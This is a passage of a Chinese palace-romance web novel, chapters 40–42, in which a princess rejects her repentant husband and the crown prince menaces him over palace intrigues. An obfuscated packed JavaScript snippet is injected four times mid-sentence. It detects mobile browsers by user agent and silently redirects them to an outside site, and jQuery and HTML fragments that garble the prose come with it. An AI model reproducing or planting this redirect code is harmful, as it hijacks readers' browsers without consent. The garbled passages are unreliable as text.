周砚枕却摇摇头:“她是被父母亲卖进花楼,为的......是供养我读书。” 如她所料相差无几。 赵清漓抿了抿唇,安慰的话卡在喉咙,这样的情形,似乎再如何安慰都无济于事吧。 周砚枕勉强地笑了下:“你不必用那种眼神看着我,也不必觉得我可怜,有得亦有失,或许这就是我的命数。” 赵清漓顿了顿,问道:“既然这样,你为什么不想办法为她赎身?若是那秋娘不肯放人,我——” “她让我朝前看。”周砚枕突然说道。 “什么?”赵清漓没明白,什么叫做朝前看。 周砚枕说:“她等过,也失望过,所以不想回头了。都过去了......过去了......” 他的眉心皱成了川字,赵清漓从没见过周砚枕这样挣扎的表情,他向来是风轻云淡,不曾为旁人的时有所动容。 有人说他不近人情,也有人说他冷漠自私,只有从前的赵清漓总天真地认为,周砚枕长得漂亮,是神仙,神仙是不能处处体谅凡人的,他是那样的可望不可及,这才是他的魅力所在。 直到今天,赵清漓才知道原来神仙也是有遗憾,也会为了情思动容至此。 或者说,其实周砚枕从来都不是神仙,他也只是个普通人,一直以来,是她过于美化了眼前这个人。 不知不觉,赵清漓的手已经覆在他的手背上,待她发觉自己不受控制的动作时,周砚枕已经化被动为主动,反手握住她的,紧紧攥在掌心里。 赵清漓怔然回过神想要抽回,却发现怎么也逃脱不出他的掌心,甚至被他越掐越紧,指节的血色变成雪白。 周砚枕带着急切的目光解释:“我承认所做的一切都是为了在京中站稳脚跟,我太怕回到从前那样的生活,我太怕一无所有,我......” 他渐渐语无伦次起来,最终颓然地叹了口气,缓缓松开她:“对不起......对不起......” 再多的道歉又有什么用,周砚枕一直都明白一切已晚,他从没想过自己会后悔,一次次的告诫自己,那些触不到的感情没有任何意义,只有握在手里的权利和财富才是他毕生的追求。 他一直这么想,却发现自己还是后悔了。 “为什么和我说这些?”赵清漓静静望着他,见到他茫然地回望着自己,暗叹一声,站起身俯视着他,“为什么当初不肯承认,偏要让我误会?” 周砚枕苦笑了下,手指无力地掩面垂下头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999058|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵清漓清晰地替他回答:“因为你是太子的人,你答应了为他做事,你怕自己违背他的意愿会失去你现在拥有的一切。” “你有你的选择,你不必道歉,是我一厢情愿。” 她虽然不能设身处地理解周砚枕,原谅周砚枕,但她明白一个道理,人心都是自私的。 譬如周砚枕一生追求权力富贵,为此他可以牺牲一切,甚至是自己的一切。 譬如赵辞一心想要荣登皇位,纵然他也有其他割舍不下的,但都只能排在此后。 再譬如......她自己。 她喜欢周砚枕,明知他最初对自己并无情意,却还是三番五次地求得皇兄帮忙,制造一个个巧妙的机遇,她明知道周砚枕和赵辞交好,或许是因为不好拂圣意才和自己在一起,但她都无视了。因此当周砚枕渐渐改变对她的态度,她还真的以为周砚枕喜欢她,又或者说,她只愿相信他是喜欢她的。 这些事以她的聪慧其实早有机会看清,可惜感情之事,人只愿看到自己想看的。 甚至,她现在委曲求全地去寻求真凶,为保她的父皇兄长们平安,赵清漓时常觉得自己是伟大的。但无数个深夜她也曾看清自己的内心,她因何这么做? 因为事情已然发生,因为她没有能力反抗赵辞,因为她接受不了事情败露的后果,接受不了污秽的骂名、亲情的远去、以及她现在所拥有的一切高枕无忧的生活。 她不是全然为了她的家族,其实她也是自私的。 良久,周砚枕站起身,恳求地望着她,真诚道:“若我说,我知道错了,你愿不愿意再给我一个机会?” “机会?”赵清漓几乎以为自己听错了,讥讽道,“你不要告诉我,你现在不想做太子的鹰犬,你现在想自己拿主意了!” 周砚枕没说话,无措的表情看起来着实可怜。 赵清漓不由得发出冷笑:“你现在已经是御史中丞,是朝廷重臣、百官楷模,你得到了一切,反而来告诉我你知道错了?” 赵清漓摇摇头,后退了一步,带着寒意的眸子像把利剑一样刺向他:“就算你知道错了又能如何?难不成你打算自此以后与太子反目,你敢吗?” 周砚枕急着追上一步:“我敢!” 赵清漓沉默了片刻,平静地望着他,问道:“你喜欢我?” 周砚枕的喉结动了动,声音有些哑:“若我现在说喜欢,你会不会觉得我可笑?” 他自己也觉得可笑。 赵清漓对他好时,他拼命告诉自己那只是上位者对他的怜悯,不是真心,在每个动心的瞬间,他又一遍遍告诫自己,他是低微下作的,配不上那样美好的人。 当他做了所有伤害她的事,当他将她的真心反复践踏,直至他发现自己心中一直都有她,越发难以克制情感的时候,他却告诉赵清漓他想重新开始。 好可笑。 但他仍想试试。 “晚了。”赵清漓看着他,缓缓开口,“在我最喜欢你的时候你放弃了我,现在......我不喜欢你了。” 40. 第 40 章 最后一丝希翼碎成一片一片,变成残破的愿望。 周砚枕自嘲地低下头,看着扬尘的石板地面倏然笑了。 他早该知道的,从前的他配不上赵清漓,即便现在,他依旧配不上。 —————— 驸马府最近的气氛有些怪。 春桃和桑儿又在小声议论,她们家大人这几日怪反常的,说不出哪里不对,就是单纯觉得他和公主之间的氛围变得很微妙。 桑儿没侍奉过赵清漓,不知道她们昔日在韶音宫是个什么相处模式,她也没觉得周大人有什么不一样的,还是以前那个样子,话不多,对什么都淡淡的,就是......就是好像没那么忙了。 想到这里,桑儿一拍脑袋,叫道:“春桃你说,大人近日怎么不常进宫了?以往日日都要去上半天的,他和太子闹掰啦?” “你小点声!”春桃用力拍她一下,做贼似的在周围打量过后,确认没有人注意到她们,趴到桑儿的耳边掩着嘴说道,“昨日荀安大人来府上传信儿,说让驸马进宫议事,可驸马却称病拒绝了!” 桑儿挠了挠后脑勺,恍然大悟道:“是啊!大人从前哪怕生病也从不会拂太子的意,难道他们真的吵架了?” 春桃没再说话了。 她和桑儿现在虽在同个屋檐下,说到底却是各司其主的。 春桃是太子的人,桑儿却是一直跟着周砚枕,自然是各自为各自的主子着想。 桑儿想的简单些,两人若真的闹掰,她家大人不过是个四品中丞,哪里能得罪太子那样的大人物,那日子以后必不会好过。 春桃却是知道其间更多细节的,她深承太子救命之恩,又得公主多年照顾,若是周砚枕和太子撕破脸,太子、公主,两个人恐怕互相牵连。 但有一点毋庸置疑,不论出于哪种想法,势必牵一发而动全身,她们这些下人的日子同样不会好过。 稍微一商量,俩人琢磨着不如去打听一下。 府门外驾车停下的动静比她们动作更快,紧接着,外院传来看门家仆恭敬又谄媚的问候。 “是太子殿下!太子殿下来了!” 消息迅速传进驸马府上下,里头的人忙作一团,赵辞不慌不忙地下马,容追跟在他的身前,还是那副刻板表情。 赵辞噙着浅浅笑意,沉吟了下,态度温和:“听闻周中丞病了几日总不见好,本宫带了御医过来,周中丞人呢?” 桑儿和春桃刚赶到大院就听见这么一句,面面相觑下,桑儿由衷感叹:“太子殿下也太好了吧!知道大人病了还特意来瞧。” 方才还说他们闹掰了,现在想想,真是该掌嘴! 春桃默不作声地瞟了桑儿一眼,心中却不能平静,虽然太子生得芝兰玉树,又总面若春风般待人,但经过这么多事,她知道这是个笑里藏刀的主儿。 方才迎接太子进门的仆人立即回答:“回殿下,方才府上下人已经去通报了,殿下请里面稍坐一会儿。” “无妨。”赵辞伸出两根手指随意扬了下,对容追说道,“你和张御医跟着去瞧瞧周中丞,他既病着,不必起身来见本宫。” 只有容追知道,周砚枕近日举止让太子觉得很不满意,他此番过来探病是假,兴师问罪才是真。 容追道了声是,不敢拖延,当下就要和张御医一同去看周砚枕。 刚转过身,却被踏进门槛的绯红倩影拦下。 赵清漓不偏不倚站在大门中央,眼神锁在稳坐高位的太子脸上,笑得狡黠:“皇兄过来怎么也不提前知会一声,你只惦记着驸马身体抱恙,怎么也不问问我?” 搁在桌几上的食指有一下没一下的敲着,赵辞的心思也随着一声一声轻动不知在想什么,听到这话,他兀的停下了动作,长指微微蜷起,反撑着侧脸倚在桌上回望过去。 “清漓自出宫以来从未带回一封信,连个口信儿也没有,为兄以为清漓还在生气。”说到这里,他笑了笑,抬起另一只手对她道,“看来是为兄弄错了。” 那只手白皙干净,和他身上的玄色常服形成鲜明对比,脸色也衬得更加俊逸,与往日在宫里见到的不一样,更多了一些冷峻的感觉。 这个动作对赵清漓来说并不陌生,小的时候,每每他伸出手,赵清漓总会像只花蝴蝶一样牵上他,自然地坐在他身边,似乎他的身边本应该就是她的位置。 这样的习惯延续了多少年,她已经记不得了。 回到眼前,他依旧是那样含笑,自然地把手伸向自己,摊开掌心,等着她将温软柔荑放至旧处,再到他的身边。 赵清漓盯着他的手掌看了一会儿,缓步走近,稍稍迟疑之下,捏着他的指尖而动,顺着赵辞拉过她的动作落座椅榻一旁,却稍微隔开一点距离。 赵辞面色如常地收回手,笑意也未减退分毫,问道:“为兄一连三日请周中丞觐见,周中丞却总是不见,昨日细细打听之下才知周中丞已经病了几日,他是你的夫君,你可知他生了什么病?” 周砚枕最近确实不常出门,但他也不像生病的样子,想来想去,也只能是为他姐姐的事烦心吧。 赵清漓随意说道:“近来天凉的快,许是吹了风,身体不适吧。” “哦?”赵辞挑了挑眉,却是失望似的叹了下,不知道的还以为他真的很关心自己这位左膀右臂,“看来皇妹也不大清楚,无妨,等御医瞧过就知道了。” 赵清漓疑惑地偏头望过去,她原以为赵辞是来找她的,说不定是所查之事有了什么眉目,但现在看来似乎是她想多了,他只是来找周砚枕的,而且来者不善。 想起那日周砚枕掷地有声脱口而出的两个字,赵清漓犹豫着问:“皇兄来找驸马是有什么要紧的事?” “倒也不算要紧,只是前些天刑部差人送来一份笔录,本宫这才知道有人打着本宫的旗号行了些......''私事''。”赵辞勾起唇畔笑着,目光落在行至门外的几道身影,扬声道,“周中丞,这事你可知晓?” 最后一句话尾音落下时,赵辞还是含着笑,声调却骤然冷下,侍奉的仆役们皆是心下一惊,奉茶那位更是手腕一抖,险些把茶水洒在桌面上。 厅内一片寂静,下人们大气都不敢喘。 这时候,赵辞却又放缓了语气,像是什么也没发生过一样:“周中丞,身体没好怎么还站着,坐吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999059|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说完,赵辞喝了口茶,百无聊赖地撑起下巴望着周砚枕。 在赵清漓眼中,赵辞今天的举动也很奇怪。 他今天像是懒得做样子了,脾气总有种抑制不住的感觉,一会儿好,一会儿又在发火的边缘。 周围站着的仆人走也不是留也不是,偏偏几个主子也都没有摈退他们的意思。 周砚枕负手站着,他早就料到太子会来,甚至他没想到的是这天竟他想象的还晚了些。 他默默扫了一眼身后的张御医,看起来太子并没有当场戳破的意思,便也和他作起秀来:“多谢殿下关心,臣无恙。” 赵辞淡然地点头,掀起眼皮问:“张御医,周中丞身体如何?” 张御医琢磨了片刻,十分隐晦地回答:“回禀殿下,周大人身体并无大碍,只是有些气血不和、情志失调,应是忧思过度的原因。” 言下之意便是周砚枕并没有什么病症,因此他这几日的避而不见,只可能是装病。 “忧、思、过、度。”赵辞垂眸,懒散地念了一遍,笑着抬眼,“莫不是周中丞做了什么亏心的事,这才导致忧思过度?” 此话一出,驸马府当差的一干众人尽数跪在地上,连连请求。 赵清漓脸色闪过一丝诧异,她从没想过赵辞会当着众人的面这样对周砚枕施压,这不是要撕破脸了吗? 赵辞不以为意道:“若周中丞是因为刑部的事烦忧,那大可不必,本宫与你多年交情,岂会因为这点小事就责难于你。” 赵清漓有点听不出赵辞的话是在警告周砚枕他知晓周家姐弟的关系,还是在给周砚枕台阶下,让他就此安心本分地为他做事。 那封蕴含周砚枕名字的信笺是许多天前送来的,周砚枕早就收到了,他知道太子清楚此事,那么赵辞应该不会特意再来警告一次。 许是赵辞舍不得这员爱将? 赵清漓没什么思绪,但周遭人还跪着,再这样下去免不了遭人闲话,她便开口劝:“皇兄有话好好说就是,何必这么话里藏刀的,倒是吓坏了这群下人。” 赵辞原本的脸色还不算太难看,听到她这么说完,却突然冷下几分,偏头对赵清漓道:“皇妹说这番话是为了这群下人还是为了你的驸马?” 突然而来的目光和质问让赵清漓一怔,赵辞又继续说:“本宫在和周中丞聊正事,皇妹就算再心疼他,再想维护他也该忍一忍,别这么没规矩!” 赵清漓愣了,想不通他怎么突然又把脾气丢自己身上了,再说了,她什么时候心疼周砚枕了,什么时候又看出自己要维护他了? 越想越气,她忍不住横了对方一眼,却突然听到周砚枕的声音。 “亏心之事的确让人烦忧,但若以此论,恐怕殿下才应该是更忧心的那个,对吧?” 地上跪着的人皆是浑身一颤,方才那些大逆不道的话是......是他们家大人说的?他不要命了? 就连向来没什么表情的容追也罕见地瞪圆了眼睛,赵清漓就更不用说了,她以为周砚枕疯了。 而周砚枕却像没事人一样站在远处,云淡风轻地看着赵辞,丝毫没有畏惧之意。 41. 第 41 章 赵辞却忽而弯起眼睛笑了,不是嘲讽和不屑的笑,也不是气极了而笑,就只是在众人惶恐的眼神中,突然像是发现什么有趣的事情一般,饶有兴致地笑出声。 “皇妹。”他忽然唤了赵清漓一声,带一点调侃,“你这夫婿在家休养几天,倒是变得越来越有意思了?” 她不怕赵辞生气,也不怕赵辞拍桌子,她最怕的就是赵辞这样一反常态的表情,他越是如此,越让她心中不安。 赵清漓揉了揉额角,勉强找回一些理智。 先是把无关紧要之人打发走,剩下的便全是太子一脉的心腹了。 也不知周砚枕这会子突然发什么疯,他到底知不知道自己在对抗谁,那是手眼通天的太子,是他数年来恭敬听从的主子! 赵清漓想去劝两句,正欲起身,却被赵辞按住肩头跌回原位。 她疑惑地偏过头,赵辞却扫过她脸上的表情,接着去看站在厅堂中央的周砚枕,神色悠哉:“原来周中丞是这么想本宫的......好啊,说来听听,你觉得本宫有何亏心?” 除周砚枕外,在场的人不约而同朝赵清漓看了一眼,在发现其他人也是同样反应之后,颇为心虚地撤回目光。 赵清漓蹙起眉头,下意识攥起衣裳一角。 她和赵辞的关系是在场之人心知肚明的事,但若被当场戳破,恐怕她仍会羞愧致死。 因此,她只能在心里祈求周砚枕不要堂而皇之的说出来。 赵辞也是瞧好戏似的等周砚枕开口,他断定周砚枕不会说出赵清漓的事,那还有什么是能攀咬他的,着实让人好奇。 想到这里,他唇边的笑更深了。 等了许久,周砚枕的目光自始至终也没有落在赵清漓身上,这让她心中忐忑。 正当所有人都以为周砚枕所说之事有关赵清漓,他却突然冷然开口:“殿下的太子之位是如何得来的,殿下难道不清楚?” 他当是什么呢,赵辞淡道:“周中丞这话有趣,本宫储位自然是承载父皇厚望,由他传旨于我的。” 周砚枕会心一笑,上前一步继续发难:“是吗?踩着兄弟的脑袋上位,殿下每夜可睡得安稳?” 赵清漓心中猛然一震,不免怀疑起储君之争还另有隐情。 她立即去瞧其他几人的表情,张御医一脸茫然,看起来并不清楚此事,但容追和荀安却格外平静,像是知情的。这让赵清漓的心狠狠下沉,第一时间便想到那个被流放的瑞王。当年瑞王的变故一出,所有人都以为是赵辞渔翁得利,却没想过这件事从根本上就和他有关系。 永元帝自然也是不会知情的,他昔日有多疼爱瑞王,如今每每提起他时就有多伤感。 赵辞竟瞒过了所有人? 怎料赵辞也没有要反驳的意思,而是对周砚枕反问:“难道周中丞不是如此,吸食同胞血肉,牺牲他人才换得今天这般成就?” 这句话仿佛一根利刺狠狠扎进周砚枕的胸口,他眉头紧锁,立刻出言反驳:“此事非我所愿!” “非我所愿......”像听到什么笑话一样,赵辞轻笑着拂了下衣袖,挑眉说道,“本宫当你有多伟大,原来事情落在自己身上也会这般找借口,非我所愿,这话人人都会说。” 他顿觉无趣地拍了拍衣裳的褶皱,起身向周砚枕走了两步,站在他的面前。 周砚枕是文人,赵辞却是文武并用,两人身形气质分开评判下各有所长,但站在一起却一眼就能看出区别,赵辞的身材更高一些,也更伟岸一些,比之周砚枕还多了一些天生的贵傲之气。因此,当赵辞看着他的时候,就像是在俯视,底气十足。 赵辞拍了拍他的肩,温和地提醒:“周砚枕,你以为你现在的一切是谁给你的?现在才想起来捡回你那没用的骨气,晚了。” 赵辞说话向来一针见血,因此这些话听起来轻飘飘的,却着实无情,每一个字都重重地落在周砚枕耳边,砸在他的心里。方才还挺的笔直的脊背竟突然看起来有些佝偻,肩头也随着赵辞轻拍的动作微微下沉。 晚了。 这个词又闯进他的耳畔。 阿姐曾告诉他,事情过去太久,她身陷囹圄已不能再回到过去,一切,晚了。 赵清漓告诉他,她曾经喜欢过的,但他在少女最是情真的时候和她错过,所以,晚了。 如今赵辞又一次提醒他,他曾经抛开所有尊严和傲骨,卑躬屈膝跪在地上说他愿为太子万死不辞,如今倒戈相向,他在众人面前想要撕碎那张假面,妄图找回早已被弃之敝履的那点自尊和骨气,可笑,晚了。 看着周砚枕这副颓败的样子,赵辞不觉得可怜,只觉得他可笑,这么脆弱的人,也妄想在他手下翻身。 末了,赵辞如同判刑一般说道:“周中丞既然忧思过度,还是先好好休息吧,待你病好,再来同本宫问安。” 这是他大发慈悲的留给给周砚枕的最后一个台阶,周砚枕若接下,他倒可以考虑留下条活路,若不接...... 回过头,榻上的女子绯衣鲜艳,面若芙蓉,含水的眸子带着关心,不停在周砚枕身上打转,却欲言又止。 这副可怜又恼人的模样...... 赵辞眸色黯了黯,他自认从来不是善人,若不接,便去死吧。 —————— 远远的,玄华宫的内侍一眼就瞧见自家主子正朝外走,脸色与来时没什么区别,容追一贯如此,稍微脸色难看些的是那张御医和荀安大人。 张御医同太子拜别,与那内侍上了后面的马车前行离去,荀安则是和容追对视一眼,一个去搭车梯,一个翻身去驾车,不打算多留。 余光中,容追瞧见那道明媚的姝影急惶惶跑来,便朝赵辞望去。 “皇兄,等等!” 赵辞回过头时,就看到赵清漓刚刚停下步伐在他面前,因为跑的急了,正捂着胸口轻轻调整自己的呼吸。 “你想为他求情?”下意识的,赵辞说出心中第一猜想,语气像是结了冰一样。 赵清漓摇摇头:“没有。” 听到她的回答,赵辞的脸上悄然就多加了几分愉悦的颜色。 “还有何事?”目光牢牢锁在那张俏丽微红的小脸上,想要看穿她似的。 容追和荀安都在一旁,也不知道这些话能不能被他们听去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999060|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这两个人都是跟随赵辞多年的暗卫,一下就瞧出赵清漓的犹豫,轻咳了几下,假装有事的样子默默转悠到远处。 赵辞见状,便知道她虽不是为了周砚枕而来,却也不是来关心自己的,声音立刻又冷了:“有什么事,说吧。” 赵清漓也不和他兜圈子,直接问道:“方才周砚枕的话是什么意思?” 赵辞勾了勾唇角,没有正面回答她,而是将问题推回去:“你为何不去问你那驸马?” 她心中其实是有期待的,期待赵辞能亲口告诉自己,他和瑞王的事没有关系,她不想自己整日抱着手臂唤“太子哥哥”的人,其实是披着好人面皮残害手足的恶徒。 这个答案,她一定要听赵辞亲口说出来。 “太子哥哥。”赵清漓观察着他的神情,缓慢地问,“你是不想说,还是......不敢说?” 她这般小心地观察,极力控制着脸上的每一丝表情,想要从对方脸上读出些苗头,哪怕只有一点点。 但可惜注定失败。 赵辞似惋惜地低头摇了摇,再抬起时,眉宇间的冷意不减反增:“你又在试探我,清漓,我告诉过你不必试探我,你大可以直接问是不是我害瑞王下狱,是不是我害他流放的。” 倒也......不必这么直白。 他这么大刺刺的说出来,倒像是清清白白的一身坦荡被她错怪了似的。 “父皇那么偏心二哥,你以为他会任凭我这个并不受宠的儿子去诬陷他?”赵辞冷笑一声,清楚地说道,“再说,他私通之事是被抓了现行的,用得着我诬陷?” 这些道理她未尝不懂,只是周砚枕不是随便攀咬的那种人,又看那两个暗卫沉着的过分了,因此赵清漓心中有个疑影,既如此,她不再问了。 赵清漓缓和地语气解释:“太子哥哥勿怪,我只是听他说得那般肯定,不太理解罢了,清漓心中一直都是信你的。” 赵辞扫过她低眉顺眼的样子,抿了抿唇,淡道:“究竟是信我还是信他,你心里最清楚。” 荀安在树底下站着,看着太子的表情一会儿温和一会儿又冷。 出于好奇,荀安用手肘戳了戳一边抱剑而立的容追:“冰块脸,你说殿下他们在聊些什么?” 容追倚在树旁闭着眼,一副不闻不看的样子,略粗犷的声音道:“不论聊些什么。都不是你我有资格过问的。” “我知道!”荀安翻了个白眼,自顾自地嘟哝起来,“只是咱们出来时,我瞧着淮王的人去往丽妃宫里方向去了,也不知道是不是和六皇子有关......” “你说什么?”容追猛地睁开眼,严肃的脸更加严肃,“这事太子殿下知道了吗?” 荀安愣了下,挠着后脑,不好意思地对他嘿嘿一笑:“......我忘了。” 容追:“......” 他心中暗自骂了荀安一声废物。 但骂归骂,有关淮王的事耽搁不得,容追思量片刻,将剑挂在腰间,向太子方向走去。 “殿下。”容追抱拳,恭敬地朝赵清漓行了个礼,而后对赵辞低声道,“咱们该回去了。” 42. 第 42 章 容追是赵辞所有暗卫中最知分寸,也是话最少的,他不会干涉赵辞的任何决定以及去向,这番提醒,想必是宫里有什么事。 赵辞颔首,也道:“此番出宫耽搁太久,也该走了。” 接着他对赵清漓露出一个浮于表面的笑:“皇妹,珍重。” 话说到一半,她怎么肯放赵辞走,急忙拉住他宽大的袖子:“太子哥哥等等!” 这声“太子哥哥”不如从前那样有用,赵辞的表情依然风轻云淡,挂着疏离的笑,说着疏离的话:“这里不似宫中般都是自家人,在外,皇妹切莫失了礼数。” 说罢,他用手背轻轻拂开赵清漓拽在小臂之上的手。 这会儿倒是和她计较起礼数来了,虚伪! 那对小手再度薅上他的袖子,墨色的衣料被紧紧攥在两只掌心,褶皱的部分都变了形,像是生怕被甩开一样。 赵辞无奈地低声斥道:“皇妹!” 赵清漓和他僵持着,带了点撒娇的意味:“皇兄这么急着走,便是生我的气了?” 她也不是完全不识趣,自小围着宫里的长辈们打转,她也知道怎么去讨好,怎么哄人不要气恼。只是她身为公主,高高在上,原是不需要讨好任何人的。 闻言,赵辞余光淡淡扫过一旁的容追,后者立即解释:“太子殿下今日还要和尚书大人议事,这会儿其实已经误了时辰,公主殿下莫怪,都是属下方才忘了提醒。” 赵辞再度看向赵清漓,一脸的:你瞧,我说的都是真话的模样。 忽然,他心中一动,问容追道:“昨日是你去尚书府传的信儿,你同他如何说的?” 容追怔了下,把头垂得更低,想了想,回答道:“回殿下,属下告诉尚书大人,今日未时在西北外殿等您。” 西北角的偏远宫殿......也就只有芙蕖苑和霁月宫是他曾属意留心的,如今芙蕖苑无人居住,就只剩个霁月宫了。 看来事关赵齐。 想到此处,赵辞心里有了考量,轻轻弯起唇畔:“罢了,反正已经过了时辰,本宫和皇妹再多说两句。” 赵辞顿了顿:“你想问黑衣人的事?” 赵清漓没想到他会当着容追的面戳破这件事,瞬间露出一丝慌张之色,看向容追。 但她想多了,赵辞并没把这事告诉容追,因此,后者听到也是有一瞬的茫然,然后很快意识到接下来的话不是他该听的,无言地退到一边。 赵清漓迟疑了下,坦白说道:“是,我不在宫里,许多事只能寄希望于太子哥哥,太子哥哥可有眉目了?” 一口一个太子哥哥,赵辞虽然知道她是有意服软,却也听得出来没有什么真心。 但也罢了,她肯服软也是好的。 良久,在赵清漓期翼的目光下,赵辞沉沉开口:“你真以为自己能奈何得了他们?即便是我也无完全把握。” 他们? 赵清漓精准捕捉到这个词汇,眼前兀的一亮,惊喜道:“你查到了?” “是。”赵辞定定看着她,“我不告诉你,是不想你以身犯险。” “什么意思?”赵清漓的脸色随着他的话语渐渐冷下来,惊喜之色荡然无存。 也就是说,赵辞口中的“他们”,不仅是赵清漓认识,甚至相熟的人。 这个猜测让她背后渗出一层冷汗。 什么人会有如此泼天本领,就连身为太子的赵辞都颇为忌惮。 很快,赵辞印证了她的猜测:“惠贵妃的母家可是上一任左相,她那大儿子更是曾出现在立储诏书上的人物,可他们现在都是什么下场?” 他轻笑一声,点到为止:“皇妹,珍重,择日我再来看你。” 左相锒铛入狱,正是因为曾被卷入谋反之事,惠贵妃当时只是嫔位,又正得圣宠,这才没有被一同牵连。好在最终水落石出,可左相在狱中受了百般折磨,出狱之后不久便逝世了。为此,惠贵妃当时还气恼永元帝许久,后来二皇子封了瑞王,她才算解开心结。 但瑞王最后也没落到好下场,还不是亲手被他的丈夫再次送入牢狱,流放比之郁郁离世也并不好上多少,一个是活着受罪,一个是死了脱罪,只是这样的区别而已。 赵辞的话不言而喻,这件事和惠贵妃和淮王母子脱不了干系。 赵清漓怎么想都觉得他们母子没理由做到这个份上,可再仔细想想,淮王的名字似乎又始终在她周围环绕...... 除非,还有更充足的证据。 随着赵辞转身的动作,荀安也走近,为他撩起厚重的车帘,恭顺地等他进去。待赵辞的身影隐于幕后,荀安松一口气,还好太子没责怪他。 容追还傻愣愣的站在那,荀安抬手招呼他:“上车啊!” 容追迟疑了下,动作缓慢地朝车前挪,刚过去两步,又忍不住回头,对赵清漓躬身道:“公主殿下的伤不知如何了?” 赵清漓因他突然的反应微微怔然,随即才想起自己小臂上那道长长的划伤,心下了解了。 “已经长好了。”赵清漓答他,就是心里不太明白容追这是搭错了哪根筋,怎么突然关心起自己来。 容追的嘴唇蠕动几下,眉头微凝:“那就好,太子殿下知道后担心的不得了,这才——” “容追。”车厢里传来赵辞冷冽低沉的声音,他打断道,“你的话多了。” 赵清漓狐疑望去,赵辞的声音透过紧闭的车厢传到众人耳朵,声音不大,却很有威慑力。 荀安这会儿立刻机灵起来,张着夸张的口型,无声地对容追比划:快上车!太子生气啦! 容追不敢再多话,长腿调转个方向,一跃上了马,缰绳在他手中缠了两圈,下一刻便疾驰而去。 容追不是话多的人,赵清漓也很清楚这点。 方才他是在故意提起自己受伤的事,他说太子殿下知道......是想说太子是刚刚得知她受过伤的事吗? 这么说来,张御医并没有告诉过赵辞这件事。 难怪上次她烧退以后,赵辞隔了一天才过来,却没太多关心的话,似乎只是来瞧瞧她,看她病好了没有,并不像知道自己受伤的样子。 她就说不应该的,以往她磕磕碰碰些许,赵辞都会非常重视,哪至于像上次那般冷淡。 想到这点,她的心情竟不由自主轻松了一些。 可他为何不知呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999061|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵清漓在院子里一步一步缓缓走着,想起赵辞今天来得蹊跷,一副兴师问罪的架势,给了周砚枕十足的下马威,但他又说并非因为周砚枕假借他名义徇私。 甚至,他还特意带了御医前来,是张御医。 —————— 马车上,赵辞虽说刚刚训斥过容追,面上却没什么发怒的迹象,可见是没真生气的。 荀安撩起车帘,透过缝隙看到赵辞端坐在小几面前,像是在闭目养神,他舒了一口气,向容追靠坐得近了一点。 “我说你——” “你不是最不爱管闲事的吗?怎么还管起殿下他们的事了?不要命了?” 容追娴熟地驾着马,淡道:“我不是要管什么,只是想让公主知道殿下的心意。” “嘿!”荀安无奈地翻了个白眼,“我早就说过,像周砚枕这种一心攀权附贵的人没有什么忠心,要不是那张御医顺口说了那么一嘴,咱们殿下还不知道公主受伤的事呢!” 说完,他托着下巴自言自语起来:“容追啊,你说这周中丞为什么要瞒着殿下呢?他明知道太子殿下和公主的关系......算了算了,反正警告也带到了,希望他今后能认清自己的位置!” 容追抿了抿唇,不争气地看了身边闲话不停的人,干脆装没听见。 太子此番过来一是警告,而是立威,但更多的是因为他心中气恼,因为他时至今日才得知这件事。 太子钟情于公主,虽然不知为何要让她下嫁于周砚枕,又为何在她大婚那日反悔,但容追知道,太子一直是喜欢她的。 周砚枕欺瞒太子,其实他并没有多在意,但周砚枕因为公主的事欺瞒他,就是不想让他知道赵清漓受了伤,确切的说,是不想让太子知道那伤可以是因他而受。 周砚枕并非怕太子心疼,而是怕太子以为公主心中有他。 容追摇头,连他都清楚,周砚枕会这么做,只能说明自己也动心了。 但荀安这个傻子却想不明白。 赵辞的耳力极好,虽然有厚厚的车箱木板阻隔,又有阵阵风声干扰,可荀安这人说话向来小声不起来,还是断断续续被他听到了。 当局者迷,旁观者清,其实他未尝没有发现周砚枕已经动心,这份动心并非今时今日,甚至可以追溯到更早。 